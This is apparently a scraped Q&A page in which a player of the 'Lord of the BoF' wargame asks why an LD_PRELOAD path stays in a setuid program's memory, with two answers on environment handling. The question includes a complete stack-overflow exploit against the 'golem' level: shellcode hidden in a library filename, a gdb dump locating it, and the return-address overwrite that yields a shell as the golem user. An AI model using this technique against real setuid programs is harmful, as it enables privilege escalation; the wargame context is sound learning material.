Why is the string specified in `LD_PRELOAD` loaded

2019-09-13 23:53发布

问题:

First of all, let me tell you the context. I'm solving problems of the wargame called The lord of the BoF, which is based on RedHat Linux 6.2, which has no address space layout randomization(ASLR), NX bit, ASCII armor, etc.. And the gcc there does not make any dummy when it compiles code. When I was trying to solve the problem called golem, I wondered something.

The solving log

This is the source code of the golem. As you can see, it fills the entire stack with 0, except for the return address of main.

login: skeleton
Password: 
unknown terminal "xterm-256color"
[skeleton@localhost skeleton]$ bash2
unknown terminal "xterm-256color"
[skeleton@localhost skeleton]$ ls
golem  golem.c
[skeleton@localhost skeleton]$ cat golem.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
    memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

The golem is an executable with setuid.

[skeleton@localhost skeleton]$ ls -l . 
total 16
-rwsr-sr-x    1 golem    golem       12199 Mar  2  2010 golem
-rw-r--r--    1 root     root          539 Mar 29  2010 golem.c

I made an empty shared library whose name contains shellcode, and set an environment variable LD_PRELOAD with the file's absolute path.

[skeleton@localhost skeleton]$ echo "" > so.c
[skeleton@localhost skeleton]$ gcc so.c -fPIC -shared -o `python -c "print '\x90'*200+'...(Shellcode)...'+'.so'"`
[skeleton@localhost skeleton]$ export LD_PRELOAD=`pwd`/`python -c "print '\x90'*200+'...(Shellcode)...'+'.so'"`

Then I copied the golem in order to debug it with gdb. I debugged it, and I found the string /home/skeleton/...(Shellcode)....so at $ebp-1264(0xbffff6b8).

[skeleton@localhost skeleton]$ cp ./golem /tmp/em
[skeleton@localhost skeleton]$ gdb -q /tmp/em
(gdb) b *main+3
Breakpoint 1 at 0x8048473
(gdb) r
Starting program: /tmp/em 

Breakpoint 1, 0x8048473 in main ()
(gdb) x/50x $ebp-5000
0xbfffe820: 0x00000267  0x00000000  0x000003f0  0x000006db
...
(gdb) 
0xbfffe8e8: 0x00000358  0x000003ac  0x0000058d  0x0000070d
...
(gdb) 
0xbfffe9b0: 0x00000318  0x000006cb  0x000006e3  0x0000046b
...
(gdb) 
0xbfffea78: 0x000004fa  0x00000570  0x000006b4  0x00000000
...
(gdb) 
0xbfffeb40: 0x00000242  0x000006e7  0x000005a0  0x000005fa
...
(gdb) 
0xbfffec08: 0x00000404  0x00000648  0x00000577  0x000002ec
...
(gdb) 
0xbfffecd0: 0x00000000  0x00000000  0x000003a2  0x0000026c
...
(gdb) 
0xbfffed98: 0x0000009c  0x000005fc  0x000001c2  0x00000563
...
(gdb) 
0xbfffee60: 0x00000000  0x000004d9  0x000006c9  0x00000277
...
(gdb) 
0xbfffef28: 0x000005f6  0x00000551  0x000000b6  0x00000000
...
(gdb) 
0xbfffeff0: 0x000003a4  0x00000351  0x000006cd  0x000000b9
...
(gdb) 
0xbffff0b8: 0x0000045f  0x000006dd  0x000004a6  0x00000000
...
(gdb) 
0xbffff180: 0x000001c0  0x000005f1  0x00000457  0x00000712
...
(gdb) 
0xbffff248: 0x0000070b  0x00000167  0x00000555  0x00000619
...
(gdb) 
0xbffff310: 0x000004aa  0x000006be  0x000003ef  0x00000000
...
(gdb) 
0xbffff3d8: 0x0000062e  0x00000569  0x00000000  0x000005a1
...
(gdb) 
0xbffff4a0: 0xbfffe3cc  0xbfffe39c  0xbfffe414  0x00001000
...
(gdb) 
0xbffff568: 0x40013c00  0x00000004  0x40014ba0  0x00000003
...
(gdb) 
0xbffff630: 0x40013c00  0x4001a0d4  0x40010c9e  0x40000814
0xbffff640: 0x400138d4  0x40001402  0x400002f4  0x080482d0
0xbffff650: 0x080482d0  0xbffff69c  0x00000002  0x40023fd0
0xbffff660: 0x40013c00  0x4000ba15  0x40013868  0x40000814
0xbffff670: 0x400041b0  0x00000001  0xbffff684  0x40001528
0xbffff680: 0x000002c8  0x00000000  0x080482d0  0x00000000
0xbffff690: 0x00000001  0x40000824  0xbffff6a4  0x400075bb
0xbffff6a0: 0x40017000  0x00002fb2  0x40013868  0xbffff8e4
0xbffff6b0: 0x4000380e  0x400144d8  0x6d6f682f  0x6b732f65
0xbffff6c0: 0x74656c65  0x902f6e6f  0x90909090  0x90909090
0xbffff6d0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6e0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6f0: 0x90909090  0x90909090
(gdb) 
0xbffff6f8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff708: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff718: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff728: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff738: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff748: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff758: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff768: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff778: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff788: 0x90909090  0x31909090  0x616850c0  0x68687361
0xbffff798: 0x6e696261  0x4e243480  0x04247480  0x2474804e
0xbffff7a8: 0xe3894e05  0xe1895350  0x0bb0d231  0x732e80cd
0xbffff7b8: 0x4000006f  0x40013868
(gdb) x/s 0xbffff6c8
0xbffff6c8:  '\220' <repeats 199 times>, "1"...
(gdb) x/s 0xbffff6c7
0xbffff6c7:  '\220' <repeats 200 times>...
(gdb) x/s 0xbffff6c7
0xbffff6c7:  '\220' <repeats 200 times>...
(gdb) 
0xbffff78f:  "1�Phaashhabin\2004$N\200t$\004N\200t$\005N\211�PS\211�1Ұ\013�\200.so"
(gdb) q
The program is running.  Exit anyway? (y or n) y

I overwrote the return address of the main with the expected address of the shellcode so that the shellcode could be executed with the setuid, and it worked.

[skeleton@localhost skeleton]$ /tmp/em `python -c "print 'A'*44+'\x40\xf7\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���
bash$ id
uid=510(skeleton) gid=510(skeleton) groups=510(skeleton)
bash$ exit  
exit
[skeleton@localhost skeleton]$ ./golem `python -c "print 'A'*44+'\x40\xf7\xff\xbf'"`  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee
bash$ exit
exit
[skeleton@localhost skeleton]$ exit
...

The question

Why was the shared library file's path string specified in an environment variable LD_PRELOAD loaded on the memory of the executable that has setuid? I was told that LD_PRELOAD cannot be used with setuid.

I've read

  • Stack layout
  • LD_PRELOAD with setuid binary
  • why is the value of LD_PRELOAD on the stack (The OP is talking about the same problem, golem, but it's quite differ from what I'm asking.)

回答1:

On Linux, all environment variables are visible to a program via a special third argument to main() traditionally called envp: http://crasseux.com/books/ctutorial/Environment-variables.html

If envp is part of your main() signature, it will point to an array containing all the environment variables. Even if it's not, it makes sense that the array might still exist in your program's address space.

None of this means that the loader actually respects LD_PRELOAD in any specific scenario--it is free to ignore it, e.g. under setuid, but the variable will still exist.



回答2:

To elaborate a bit on John's answer, some env. variables are removed completely from setuid environment i.e. not passed to insecure subprocesses (e.g. LD_DEBUG) and some are plain ignored but passed to subprocesses (e.g. LD_PRELOAD).